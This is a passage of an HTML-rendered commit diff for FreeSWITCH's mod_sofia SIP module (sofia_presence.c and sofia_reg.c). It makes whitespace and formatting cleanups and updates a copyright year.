</span><span class="cx">                 full_via = sip_header_as_string(profile-&gt;home, (void *) sip-&gt;sip_via);
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (sip-&gt;sip_expires-&gt;ex_delta &gt; 31536000) {
</span><span class="cx">                         sip-&gt;sip_expires-&gt;ex_delta = 31536000;
</span><span class="cx">                 }
</span><span class="cx"> 
</span><span class="cx">                 exp_delta = profile-&gt;force_subscription_expires ? profile-&gt;force_subscription_expires : (sip-&gt;sip_expires ? sip-&gt;sip_expires-&gt;ex_delta : 3600);
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (exp_delta) {
</span><span class="cx">                         exp_abs = (long) switch_epoch_time_now(NULL) + exp_delta;
</span><span class="cx">                 } else {
</span><span class="lines">@@ -1899,14 +1845,13 @@
</span><span class="cx">                 }
</span><span class="cx"> 
</span><span class="cx">                 switch_snprintf(exp_delta_str, sizeof(exp_delta_str), &quot;%ld&quot;, exp_delta);
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (sofia_test_pflag(profile, PFLAG_MULTIREG)) {
</span><span class="cx">                         sql = switch_mprintf(&quot;delete from sip_subscriptions where call_id='%q' &quot;
</span><span class="cx">                                                                  &quot;or (proto='%q' and sip_user='%q' and sip_host='%q' &quot;
</span><span class="cx">                                                                  &quot;and sub_to_user='%q' and sub_to_host='%q' and event='%q' and hostname='%q' &quot;
</span><span class="cx">                                                                  &quot;and contact='%q')&quot;,
</span><del>-                                                                 call_id, proto, from_user, from_host, to_user, to_host, event, mod_sofia_globals.hostname,
-                                                                 contact_str);
</del><ins>+                                                                 call_id, proto, from_user, from_host, to_user, to_host, event, mod_sofia_globals.hostname, contact_str);
</ins><span class="cx"> 
</span><span class="cx">                 } else {
</span><span class="cx">                         sql = switch_mprintf(&quot;delete from sip_subscriptions where &quot;
</span><span class="lines">@@ -1929,21 +1874,21 @@
</span><span class="cx">                                 switch_snprintf(accept + strlen(accept), sizeof(accept) - strlen(accept), &quot;%s%s &quot;, ap-&gt;ac_type, ap-&gt;ac_next ? &quot;,&quot; : &quot;&quot;);
</span><span class="cx">                                 ap = ap-&gt;ac_next;
</span><span class="cx">                         }
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         sql = switch_mprintf(&quot;insert into sip_subscriptions &quot;
</span><span class="cx">                                                                  &quot;(proto,sip_user,sip_host,sub_to_user,sub_to_host,presence_hosts,event,contact,call_id,full_from,&quot;
</span><span class="cx">                                                                  &quot;full_via,expires,user_agent,accept,profile_name,hostname,network_port,network_ip) &quot;
</span><span class="cx">                                                                  &quot;values ('%q','%q','%q','%q','%q','%q','%q','%q','%q','%q','%q',%ld,'%q','%q','%q','%q','%d','%q')&quot;,
</span><del>-                                                                 proto, from_user, from_host, to_user, to_host, profile-&gt;presence_hosts ? profile-&gt;presence_hosts : to_host, 
-                                                                 event, contact_str, call_id, full_from, full_via, 
</del><ins>+                                                                 proto, from_user, from_host, to_user, to_host, profile-&gt;presence_hosts ? profile-&gt;presence_hosts : to_host,
+                                                                 event, contact_str, call_id, full_from, full_via,
</ins><span class="cx">                                                                  //sofia_test_pflag(profile, PFLAG_MULTIREG) ? switch_epoch_time_now(NULL) + exp_delta : exp_delta * -1,
</span><del>-                                                                 (long)switch_epoch_time_now(NULL) + (exp_delta * 2),
-                                                                 full_agent, accept, profile-&gt;name,mod_sofia_globals.hostname, network_port, network_ip);
-                                                                 
</del><ins>+                                                                 (long) switch_epoch_time_now(NULL) + (exp_delta * 2),
+                                                                 full_agent, accept, profile-&gt;name, mod_sofia_globals.hostname, network_port, network_ip);
+
</ins><span class="cx">                         switch_assert(sql != NULL);
</span><span class="cx"> 
</span><span class="cx">                         if (mod_sofia_globals.debug_presence &gt; 0 || mod_sofia_globals.debug_sla &gt; 0) {
</span><del>-                                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_NOTICE, &quot;%s SUBSCRIBE %s@%s %s@%s\n%s\n&quot;, 
</del><ins>+                                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_NOTICE, &quot;%s SUBSCRIBE %s@%s %s@%s\n%s\n&quot;,
</ins><span class="cx">                                                                   profile-&gt;name, from_user, from_host, to_user, to_host, sql);
</span><span class="cx">                         }
</span><span class="cx"> 
</span><span class="lines">@@ -1957,21 +1902,15 @@
</span><span class="cx">                 if (status &lt; 200) {
</span><span class="cx">                         char *sticky = NULL;
</span><span class="cx">                         char *contactstr = profile-&gt;url;
</span><del>-                        char *p = NULL, *new_contactstr = NULL; 
-                        
</del><ins>+                        char *p = NULL, *new_contactstr = NULL;
+
</ins><span class="cx">                         if (is_nat) {
</span><span class="cx">                                 char params[128] = &quot;&quot;;
</span><span class="cx">                                 if (contact-&gt;m_url-&gt;url_params) {
</span><span class="cx">                                         switch_snprintf(params, sizeof(params), &quot;;%s&quot;, contact-&gt;m_url-&gt;url_params);
</span><span class="cx">                                 }
</span><span class="cx">                                 ipv6 = strchr(network_ip, ':');
</span><del>-                                sticky = switch_mprintf(&quot;sip:%s@%s%s%s:%d%s&quot;,
-                                                                                contact_user,
-                                                                                ipv6 ? &quot;[&quot; : &quot;&quot;,
-                                                                                network_ip,
-                                                                                ipv6 ? &quot;]&quot; : &quot;&quot;,
-                                                                                network_port,
-                                                                                params);
</del><ins>+                                sticky = switch_mprintf(&quot;sip:%s@%s%s%s:%d%s&quot;, contact_user, ipv6 ? &quot;[&quot; : &quot;&quot;, network_ip, ipv6 ? &quot;]&quot; : &quot;&quot;, network_port, params);
</ins><span class="cx">                         }
</span><span class="cx"> 
</span><span class="cx">                         if (is_auto_nat) {
</span><span class="lines">@@ -1980,7 +1919,7 @@
</span><span class="cx">                                 contactstr = profile-&gt;url;
</span><span class="cx">                         }
</span><span class="cx"> 
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         if (switch_stristr(&quot;port=tcp&quot;, contact-&gt;m_url-&gt;url_params)) {
</span><span class="cx">                                 if (is_auto_nat) {
</span><span class="cx">                                         contactstr = profile-&gt;tcp_public_contact;
</span><span class="lines">@@ -2002,15 +1941,12 @@
</span><span class="cx"> 
</span><span class="cx">                         if ((p = strchr(contactstr, '@'))) {
</span><span class="cx">                                 new_contactstr = switch_mprintf(&quot;sip:%s%s&quot;, to_user, p);
</span><del>-                        } 
</del><ins>+                        }
</ins><span class="cx"> 
</span><span class="cx">                         nua_respond(nh, SIP_202_ACCEPTED,
</span><span class="cx">                                                 SIPTAG_CONTACT_STR(new_contactstr),
</span><del>-                                                NUTAG_WITH_THIS(nua), 
-                                                SIPTAG_SUBSCRIPTION_STATE_STR(sstr),
-                                                SIPTAG_EXPIRES_STR(exp_delta_str),
-                                                TAG_IF(sticky, NUTAG_PROXY(sticky)),
-                                                TAG_END());
</del><ins>+                                                NUTAG_WITH_THIS(nua),
+                                                SIPTAG_SUBSCRIPTION_STATE_STR(sstr), SIPTAG_EXPIRES_STR(exp_delta_str), TAG_IF(sticky, NUTAG_PROXY(sticky)), TAG_END());
</ins><span class="cx"> 
</span><span class="cx">                         switch_safe_free(new_contactstr);
</span><span class="cx">                         switch_safe_free(sticky);
</span><span class="lines">@@ -2028,22 +1964,18 @@
</span><span class="cx"> 
</span><span class="cx">                                 nua_notify(nh,
</span><span class="cx">                                                    SIPTAG_EXPIRES_STR(&quot;0&quot;),
</span><del>-                                                   SIPTAG_SUBSCRIPTION_STATE_STR(sstr),
-                                                   TAG_IF(full_call_info, SIPTAG_CALL_INFO_STR(full_call_info)),
-                                                   TAG_END());
</del><ins>+                                                   SIPTAG_SUBSCRIPTION_STATE_STR(sstr), TAG_IF(full_call_info, SIPTAG_CALL_INFO_STR(full_call_info)), TAG_END());
</ins><span class="cx"> 
</span><del>-                        
</del><ins>+
</ins><span class="cx">                                 if (!strcasecmp(event, &quot;line-seize&quot;)) {
</span><span class="cx">                                         if (mod_sofia_globals.debug_sla &gt; 1) {
</span><span class="cx">                                                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, &quot;CANCEL LINE SEIZE\n&quot;);
</span><span class="cx">                                         }
</span><span class="cx"> 
</span><span class="cx">                                         sql = switch_mprintf(&quot;delete from sip_dialogs where sip_from_user='%q' and sip_from_host='%q' and call_info_state='seized'&quot;,
</span><del>-                                                                                 to_user,
-                                                                                 to_host
-                                                                                 );
</del><ins>+                                                                                 to_user, to_host);
</ins><span class="cx"> 
</span><del>-                                        
</del><ins>+
</ins><span class="cx">                                         if (mod_sofia_globals.debug_sla &gt; 1) {
</span><span class="cx">                                                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, &quot;CLEAR SQL %s\n&quot;, sql);
</span><span class="cx">                                         }
</span><span class="lines">@@ -2071,7 +2003,7 @@
</span><span class="cx">                         } else if (!strcasecmp(event, &quot;line-seize&quot;)) {
</span><span class="cx">                                 char *full_call_info = NULL;
</span><span class="cx">                                 char *p;
</span><del>-                                
</del><ins>+
</ins><span class="cx">                                 if (sip-&gt;sip_call_info) {
</span><span class="cx">                                         full_call_info = sip_header_as_string(profile-&gt;home, (void *) sip-&gt;sip_call_info);
</span><span class="cx">                                         if ((p = strchr(full_call_info, ';'))) {
</span><span class="lines">@@ -2081,31 +2013,22 @@
</span><span class="cx">                                         nua_notify(nh,
</span><span class="cx">                                                            SIPTAG_EXPIRES_STR(exp_delta_str),
</span><span class="cx">                                                            SIPTAG_SUBSCRIPTION_STATE_STR(sstr),
</span><del>-                                                           SIPTAG_EVENT_STR(&quot;line-seize&quot;), 
-                                                           TAG_IF(full_call_info, SIPTAG_CALL_INFO_STR(full_call_info)),
-                                                           TAG_END());
</del><ins>+                                                           SIPTAG_EVENT_STR(&quot;line-seize&quot;), TAG_IF(full_call_info, SIPTAG_CALL_INFO_STR(full_call_info)), TAG_END());
</ins><span class="cx"> 
</span><span class="cx"> 
</span><del>-                                        
</del><ins>+
</ins><span class="cx">                                         sql = switch_mprintf(&quot;delete from sip_dialogs where sip_from_user='%q' and sip_from_host='%q' and call_info_state='seized'&quot;,
</span><del>-                                                                                 to_user,
-                                                                                 to_host
-                                                                                 );
</del><ins>+                                                                                 to_user, to_host);
</ins><span class="cx"> 
</span><del>-                                        
</del><ins>+
</ins><span class="cx">                                         if (mod_sofia_globals.debug_sla &gt; 1) {
</span><span class="cx">                                                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, &quot;CLEAR SQL %s\n&quot;, sql);
</span><span class="cx">                                         }
</span><span class="cx">                                         sofia_glue_execute_sql_now(profile, &amp;sql, SWITCH_TRUE);
</span><del>-                                        
</del><ins>+
</ins><span class="cx">                                         sql = switch_mprintf(&quot;insert into sip_dialogs (sip_from_user,sip_from_host,call_info,call_info_state,hostname,expires) &quot;
</span><span class="cx">                                                                                  &quot;values ('%q','%q','%q','seized','%q',%ld)&quot;,
</span><del>-                                                                                 to_user,
-                                                                                 to_host,
-                                                                                 switch_str_nil(p),
-                                                                                 mod_sofia_globals.hostname,
-                                                                                 switch_epoch_time_now(NULL) + exp_delta
-                                                                                 );
</del><ins>+                                                                                 to_user, to_host, switch_str_nil(p), mod_sofia_globals.hostname, switch_epoch_time_now(NULL) + exp_delta);
</ins><span class="cx"> 
</span><span class="cx">                                         if (mod_sofia_globals.debug_sla &gt; 1) {
</span><span class="cx">                                                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, &quot;SEIZE SQL %s\n&quot;, sql);
</span><span class="lines">@@ -2124,15 +2047,13 @@
</span><span class="cx"> 
</span><span class="cx">                 switch_safe_free(sstr);
</span><span class="cx"> 
</span><del>-                if (!strcasecmp(event, &quot;message-summary&quot;)) {                
-                        if ((sql = switch_mprintf(
-                                                                          &quot;select proto,sip_user,'%q',sub_to_user,sub_to_host,event,contact,call_id,full_from,&quot;
</del><ins>+                if (!strcasecmp(event, &quot;message-summary&quot;)) {
+                        if ((sql = switch_mprintf(&quot;select proto,sip_user,'%q',sub_to_user,sub_to_host,event,contact,call_id,full_from,&quot;
</ins><span class="cx">                                                                           &quot;full_via,expires,user_agent,accept,profile_name,network_ip&quot;
</span><span class="cx">                                                                           &quot; from sip_subscriptions where expires &gt; -1 and event='message-summary' and sip_user='%q' &quot;
</span><del>-                                                                          &quot;and (sip_host='%q' or presence_hosts like '%%%q%%')&quot;, 
-                                                                          to_host, to_user, to_host, to_host))) {
</del><ins>+                                                                          &quot;and (sip_host='%q' or presence_hosts like '%%%q%%')&quot;, to_host, to_user, to_host, to_host))) {
</ins><span class="cx">                                 sofia_glue_execute_sql_callback(profile, profile-&gt;ireg_mutex, sql, sofia_presence_sub_reg_callback, profile);
</span><del>-                                
</del><ins>+
</ins><span class="cx">                                 switch_safe_free(sql);
</span><span class="cx">                         }
</span><span class="cx">                 }
</span><span class="lines">@@ -2162,7 +2083,8 @@
</span><span class="cx">         }
</span><span class="cx"> }
</span><span class="cx"> 
</span><del>-sofia_gateway_subscription_t *sofia_find_gateway_subscription(sofia_gateway_t *gateway_ptr, const char *event) {
</del><ins>+sofia_gateway_subscription_t *sofia_find_gateway_subscription(sofia_gateway_t *gateway_ptr, const char *event)
+{
</ins><span class="cx">         sofia_gateway_subscription_t *gw_sub_ptr;
</span><span class="cx">         for (gw_sub_ptr = gateway_ptr-&gt;subscriptions; gw_sub_ptr; gw_sub_ptr = gw_sub_ptr-&gt;next) {
</span><span class="cx">                 if (!strcasecmp(gw_sub_ptr-&gt;event, event)) {
</span><span class="lines">@@ -2180,7 +2102,7 @@
</span><span class="cx"> {
</span><span class="cx">         sip_event_t const *o = NULL;
</span><span class="cx">         sofia_gateway_subscription_t *gw_sub_ptr;
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (!sip) {
</span><span class="cx">                 return;
</span><span class="cx">         }
</span><span class="lines">@@ -2204,14 +2126,14 @@
</span><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, &quot;Gateway information missing\n&quot;);
</span><span class="cx">                 return;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         /* Find the subscription if one exists */
</span><span class="cx">         if (!(gw_sub_ptr = sofia_find_gateway_subscription(sofia_private-&gt;gateway, o-&gt;o_type))) {
</span><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, &quot;Could not find gateway subscription.  Gateway: %s.  Subscription Event: %s\n&quot;,
</span><del>-                                sofia_private-&gt;gateway-&gt;name, o-&gt;o_type);
</del><ins>+                                                  sofia_private-&gt;gateway-&gt;name, o-&gt;o_type);
</ins><span class="cx">                 return;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         /* Update the subscription status for the subscription */
</span><span class="cx">         switch (status) {
</span><span class="cx">         case 200:
</span><span class="lines">@@ -2228,7 +2150,7 @@
</span><span class="cx">         default:
</span><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, &quot;status (%d) != 200, updated state to SUB_STATE_FAILED.\n&quot;, status);
</span><span class="cx">                 gw_sub_ptr-&gt;state = SUB_STATE_FAILED;
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (sofia_private) {
</span><span class="cx">                         nua_handle_destroy(sofia_private-&gt;gateway-&gt;sub_nh);
</span><span class="cx">                         sofia_private-&gt;gateway-&gt;sub_nh = NULL;
</span><span class="lines">@@ -2283,7 +2205,7 @@
</span><span class="cx">                                 if (sip-&gt;sip_user_agent) {
</span><span class="cx">                                         full_agent = sip_header_as_string(profile-&gt;home, (void *) sip-&gt;sip_user_agent);
</span><span class="cx">                                 }
</span><del>-                                
</del><ins>+
</ins><span class="cx">                                 if ((tuple = switch_xml_child(xml, &quot;tuple&quot;)) &amp;&amp; (status = switch_xml_child(tuple, &quot;status&quot;))
</span><span class="cx">                                         &amp;&amp; (basic = switch_xml_child(status, &quot;basic&quot;))) {
</span><span class="cx">                                         status_txt = basic-&gt;txt;
</span><span class="lines">@@ -2317,19 +2239,17 @@
</span><span class="cx"> 
</span><span class="cx">                                 if ((sql =
</span><span class="cx">                                          switch_mprintf(&quot;delete from sip_presence where sip_user='%q' and sip_host='%q' &quot;
</span><del>-                                                                        &quot; and profile_name='%q' and hostname='%q'&quot;,
-                                                                        from_user, from_host, profile-&gt;name, mod_sofia_globals.hostname
-                                                                        ))) {
</del><ins>+                                                                        &quot; and profile_name='%q' and hostname='%q'&quot;, from_user, from_host, profile-&gt;name, mod_sofia_globals.hostname))) {
</ins><span class="cx">                                         sofia_glue_execute_sql_now(profile, &amp;sql, SWITCH_TRUE);
</span><span class="cx">                                 }
</span><del>-                                         
</del><ins>+
</ins><span class="cx">                                 if ((sql =
</span><span class="cx">                                          switch_mprintf(&quot;insert into sip_presence (sip_user, sip_host, status, rpid, expires, user_agent, profile_name, hostname) &quot;
</span><span class="cx">                                                                         &quot;values ('%q','%q','%q','%q',%ld,'%q','%q','%q')&quot;,
</span><span class="cx">                                                                         from_user, from_host, note_txt, rpid, exp, full_agent, profile-&gt;name, mod_sofia_globals.hostname))) {
</span><span class="cx">                                         sofia_glue_execute_sql_now(profile, &amp;sql, SWITCH_TRUE);
</span><span class="cx">                                 }
</span><del>-                                
</del><ins>+
</ins><span class="cx">                                 event_type = sip_header_as_string(profile-&gt;home, (void *) sip-&gt;sip_event);
</span><span class="cx"> 
</span><span class="cx">                                 if (in) {
</span><span class="lines">@@ -2442,7 +2362,7 @@
</span><span class="cx">                                 switch_copy_string(proto, to_user, sizeof(proto));
</span><span class="cx">                                 p = strchr(proto, '+');
</span><span class="cx">                                 *p++ = '\0';
</span><del>-                                
</del><ins>+
</ins><span class="cx">                                 if ((to_addr = strdup(p))) {
</span><span class="cx">                                         if ((p = strchr(to_addr, '+'))) {
</span><span class="cx">                                                 *p = '@';
</span><span class="lines">@@ -2467,7 +2387,7 @@
</span><span class="cx">                                         if (msg) {
</span><span class="cx">                                                 switch_event_add_body(event, &quot;%s&quot;, msg);
</span><span class="cx">                                         }
</span><del>-                                        
</del><ins>+
</ins><span class="cx">                                         if (switch_core_session_queue_event(tech_pvt-&gt;session, &amp;event) != SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                                                 switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, &quot;delivery-failure&quot;, &quot;true&quot;);
</span><span class="cx">                                                 switch_event_fire(&amp;event);
</span><span class="lines">@@ -2491,7 +2411,7 @@
</span><span class="cx">         char buf[512];
</span><span class="cx">         su_home_t *home = NULL;
</span><span class="cx"> 
</span><del>-        if (!tech_pvt || tech_pvt-&gt;hash_key || !sip || !sip-&gt;sip_from || !sip-&gt;sip_from-&gt;a_url || 
</del><ins>+        if (!tech_pvt || tech_pvt-&gt;hash_key || !sip || !sip-&gt;sip_from || !sip-&gt;sip_from-&gt;a_url ||
</ins><span class="cx">                 !sip-&gt;sip_from-&gt;a_url-&gt;url_user || !sip-&gt;sip_from-&gt;a_url-&gt;url_host) {
</span><span class="cx">                 return;
</span><span class="cx">         }
</span><span class="lines">@@ -2507,7 +2427,7 @@
</span><span class="cx">         } else {
</span><span class="cx">                 return;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch_mutex_lock(tech_pvt-&gt;profile-&gt;flag_mutex);
</span><span class="cx">         tech_pvt-&gt;hash_key = switch_core_session_strdup(tech_pvt-&gt;session, hash_key);
</span><span class="cx">         switch_core_hash_insert(tech_pvt-&gt;profile-&gt;chat_hash, tech_pvt-&gt;hash_key, tech_pvt);
</span></span></pre></div>
<a id="freeswitchtrunksrcmodendpointsmod_sofiasofia_regc"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/mod/endpoints/mod_sofia/sofia_reg.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/mod/endpoints/mod_sofia/sofia_reg.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/endpoints/mod_sofia/sofia_reg.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /* 
</span><span class="cx">  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</ins><span class="cx">  *
</span><span class="cx">  * Version: MPL 1.1
</span><span class="cx">  *
</span><span class="lines">@@ -58,7 +58,7 @@
</span><span class="cx">                         switch_assert(gateway_ptr-&gt;sofia_private);
</span><span class="cx">                 }
</span><span class="cx">                 memset(gateway_ptr-&gt;sofia_private, 0, sizeof(*gateway_ptr-&gt;sofia_private));
</span><del>-        
</del><ins>+
</ins><span class="cx">                 gateway_ptr-&gt;sofia_private-&gt;gateway = gateway_ptr;
</span><span class="cx">                 nua_handle_bind(gateway_ptr-&gt;nh, gateway_ptr-&gt;sofia_private);
</span><span class="cx">         }
</span><span class="lines">@@ -74,26 +74,24 @@
</span><span class="cx">                 }
</span><span class="cx">                 return;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         /*
</span><del>-        if (!gateway_ptr-&gt;nh) {
-                sofia_reg_new_handle(gateway_ptr, SWITCH_FALSE);
-        }
-        */
</del><ins>+           if (!gateway_ptr-&gt;nh) {
+           sofia_reg_new_handle(gateway_ptr, SWITCH_FALSE);
+           }
+         */
</ins><span class="cx"> 
</span><span class="cx">         if (gateway_ptr-&gt;nh) {
</span><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_NOTICE, &quot;UN-Registering %s\n&quot;, gateway_ptr-&gt;name);
</span><del>-                nua_unregister(gateway_ptr-&gt;nh,
-                                           NUTAG_URL(gateway_ptr-&gt;register_url),
-                                           NUTAG_REGISTRAR(gateway_ptr-&gt;register_proxy), 
-                                           TAG_END());
</del><ins>+                nua_unregister(gateway_ptr-&gt;nh, NUTAG_URL(gateway_ptr-&gt;register_url), NUTAG_REGISTRAR(gateway_ptr-&gt;register_proxy), TAG_END());
</ins><span class="cx">         }
</span><del>-        
</del><span class="cx"> 
</span><span class="cx"> 
</span><ins>+
</ins><span class="cx"> }
</span><span class="cx"> 
</span><del>-static void sofia_reg_fire_custom_gateway_state_event(sofia_gateway_t *gateway, int status, const char *phrase) {
</del><ins>+static void sofia_reg_fire_custom_gateway_state_event(sofia_gateway_t *gateway, int status, const char *phrase)
+{
</ins><span class="cx">         switch_event_t *s_event;
</span><span class="cx">         if (switch_event_create_subclass(&amp;s_event, SWITCH_EVENT_CUSTOM, MY_EVENT_GATEWAY_STATE) == SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                 switch_event_add_header_string(s_event, SWITCH_STACK_BOTTOM, &quot;Gateway&quot;, gateway-&gt;name);
</span><span class="lines">@@ -132,7 +130,7 @@
</span><span class="cx">          * header (which we control in the outgoing subscription request)
</span><span class="cx">          */
</span><span class="cx">         sofia_gateway_t *gateway_ptr;
</span><del>-        
</del><ins>+
</ins><span class="cx">         for (gateway_ptr = profile-&gt;gateways; gateway_ptr; gateway_ptr = gateway_ptr-&gt;next) {
</span><span class="cx">                 sofia_gateway_subscription_t *gw_sub_ptr;
</span><span class="cx"> 
</span><span class="lines">@@ -140,7 +138,7 @@
</span><span class="cx">                         int ss_state = nua_callstate_authenticating;
</span><span class="cx">                         sub_state_t ostate = gw_sub_ptr-&gt;state;
</span><span class="cx">                         char *user_via = NULL;
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         if (!now) {
</span><span class="cx">                                 gw_sub_ptr-&gt;state = ostate = SUB_STATE_UNSUBED;
</span><span class="cx">                                 gw_sub_ptr-&gt;expires_str = &quot;0&quot;;
</span><span class="lines">@@ -167,38 +165,27 @@
</span><span class="cx">                                                                 SIPTAG_EVENT_STR(gw_sub_ptr-&gt;event),
</span><span class="cx">                                                                 SIPTAG_ACCEPT_STR(gw_sub_ptr-&gt;content_type),
</span><span class="cx">                                                                 SIPTAG_TO_STR(gateway_ptr-&gt;register_from),
</span><del>-                                                                SIPTAG_FROM_STR(gateway_ptr-&gt;register_from),
-                                                                SIPTAG_CONTACT_STR(gateway_ptr-&gt;register_contact),
-                                                                TAG_NULL());
-                                
</del><ins>+                                                                SIPTAG_FROM_STR(gateway_ptr-&gt;register_from), SIPTAG_CONTACT_STR(gateway_ptr-&gt;register_contact), TAG_NULL());
+
</ins><span class="cx">                                 break;
</span><span class="cx">                         case SUB_STATE_UNSUBED:
</span><span class="cx">                                 gateway_ptr-&gt;sub_nh = nua_handle(gateway_ptr-&gt;profile-&gt;nua, NULL,
</span><span class="cx">                                                                                                  NUTAG_URL(gateway_ptr-&gt;register_proxy),
</span><span class="cx">                                                                                                  TAG_IF(user_via, SIPTAG_VIA_STR(user_via)),
</span><span class="cx">                                                                                                  SIPTAG_TO_STR(gateway_ptr-&gt;register_to),
</span><del>-                                                                                                 NUTAG_CALLSTATE_REF(ss_state), 
-                                                                                                 SIPTAG_FROM_STR(gateway_ptr-&gt;register_from), TAG_END());
</del><ins>+                                                                                                 NUTAG_CALLSTATE_REF(ss_state), SIPTAG_FROM_STR(gateway_ptr-&gt;register_from), TAG_END());
</ins><span class="cx">                                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, &quot;subscribing to [%s] on gateway [%s]\n&quot;, gw_sub_ptr-&gt;event, gateway_ptr-&gt;name);
</span><del>-                                
</del><ins>+
</ins><span class="cx">                                 gateway_ptr-&gt;sofia_private = malloc(sizeof(*gateway_ptr-&gt;sofia_private));
</span><span class="cx">                                 switch_assert(gateway_ptr-&gt;sofia_private);
</span><del>-                                
</del><ins>+
</ins><span class="cx">                                 memset(gateway_ptr-&gt;sofia_private, 0, sizeof(*gateway_ptr-&gt;sofia_private));
</span><span class="cx"> 
</span><span class="cx">                                 gateway_ptr-&gt;sofia_private-&gt;gateway = gateway_ptr;
</span><span class="cx">                                 nua_handle_bind(gateway_ptr-&gt;nh, gateway_ptr-&gt;sofia_private);
</span><span class="cx"> 
</span><span class="cx">                                 if (now) {
</span><del>-                                        nua_subscribe(gateway_ptr-&gt;sub_nh,
-                                                                  NUTAG_URL(gateway_ptr-&gt;register_url),
-                                                                  TAG_IF(user_via, SIPTAG_VIA_STR(user_via)),
-                                                                  SIPTAG_EVENT_STR(gw_sub_ptr-&gt;event),
-                                                                  SIPTAG_ACCEPT_STR(gw_sub_ptr-&gt;content_type),  
-                                                                  SIPTAG_TO_STR(gateway_ptr-&gt;register_from),
-                                                                  SIPTAG_FROM_STR(gateway_ptr-&gt;register_from),
-                                                                  SIPTAG_CONTACT_STR(gateway_ptr-&gt;register_contact),
-                                                                  SIPTAG_EXPIRES_STR(gw_sub_ptr-&gt;expires_str),  // sofia stack bases its auto-refresh stuff on this
</del><ins>+                                        nua_subscribe(gateway_ptr-&gt;sub_nh, NUTAG_URL(gateway_ptr-&gt;register_url), TAG_IF(user_via, SIPTAG_VIA_STR(user_via)), SIPTAG_EVENT_STR(gw_sub_ptr-&gt;event), SIPTAG_ACCEPT_STR(gw_sub_ptr-&gt;content_type), SIPTAG_TO_STR(gateway_ptr-&gt;register_from), SIPTAG_FROM_STR(gateway_ptr-&gt;register_from), SIPTAG_CONTACT_STR(gateway_ptr-&gt;register_contact), SIPTAG_EXPIRES_STR(gw_sub_ptr-&gt;expires_str),        // sofia stack bases its auto-refresh stuff on this
</ins><span class="cx">                                                                   TAG_NULL());
</span><span class="cx">                                         gw_sub_ptr-&gt;retry = now + gw_sub_ptr-&gt;retry_seconds;
</span><span class="cx">                                 } else {
</span><span class="lines">@@ -209,13 +196,11 @@
</span><span class="cx">                                                                         SIPTAG_ACCEPT_STR(gw_sub_ptr-&gt;content_type),
</span><span class="cx">                                                                         SIPTAG_FROM_STR(gateway_ptr-&gt;register_from),
</span><span class="cx">                                                                         SIPTAG_TO_STR(gateway_ptr-&gt;register_from),
</span><del>-                                                                        SIPTAG_CONTACT_STR(gateway_ptr-&gt;register_contact),
-                                                                        SIPTAG_EXPIRES_STR(gw_sub_ptr-&gt;expires_str),
-                                                                        TAG_NULL());
</del><ins>+                                                                        SIPTAG_CONTACT_STR(gateway_ptr-&gt;register_contact), SIPTAG_EXPIRES_STR(gw_sub_ptr-&gt;expires_str), TAG_NULL());
</ins><span class="cx">                                 }
</span><span class="cx">                                 gw_sub_ptr-&gt;state = SUB_STATE_TRYING;
</span><span class="cx">                                 break;
</span><del>-                                
</del><ins>+
</ins><span class="cx">                         case SUB_STATE_FAILED:
</span><span class="cx">                         case SUB_STATE_TRYING:
</span><span class="cx">                                 if (gw_sub_ptr-&gt;retry &amp;&amp; now &gt;= gw_sub_ptr-&gt;retry) {
</span><span class="lines">@@ -294,13 +279,11 @@
</span><span class="cx">                         nua_handle_bind(nh, pvt);
</span><span class="cx"> 
</span><span class="cx">                         gateway_ptr-&gt;pinging = 1;
</span><del>-                        nua_options(nh, 
</del><ins>+                        nua_options(nh,
</ins><span class="cx">                                                 TAG_IF(gateway_ptr-&gt;register_sticky_proxy, NUTAG_PROXY(gateway_ptr-&gt;register_sticky_proxy)),
</span><span class="cx">                                                 TAG_IF(user_via, SIPTAG_VIA_STR(user_via)),
</span><span class="cx">                                                 SIPTAG_TO_STR(gateway_ptr-&gt;register_from),
</span><del>-                                                SIPTAG_CONTACT_STR(gateway_ptr-&gt;register_contact),
-                                                SIPTAG_FROM_STR(gateway_ptr-&gt;register_from),
-                                                TAG_END());
</del><ins>+                                                SIPTAG_CONTACT_STR(gateway_ptr-&gt;register_contact), SIPTAG_FROM_STR(gateway_ptr-&gt;register_from), TAG_END());
</ins><span class="cx"> 
</span><span class="cx">                         switch_safe_free(user_via);
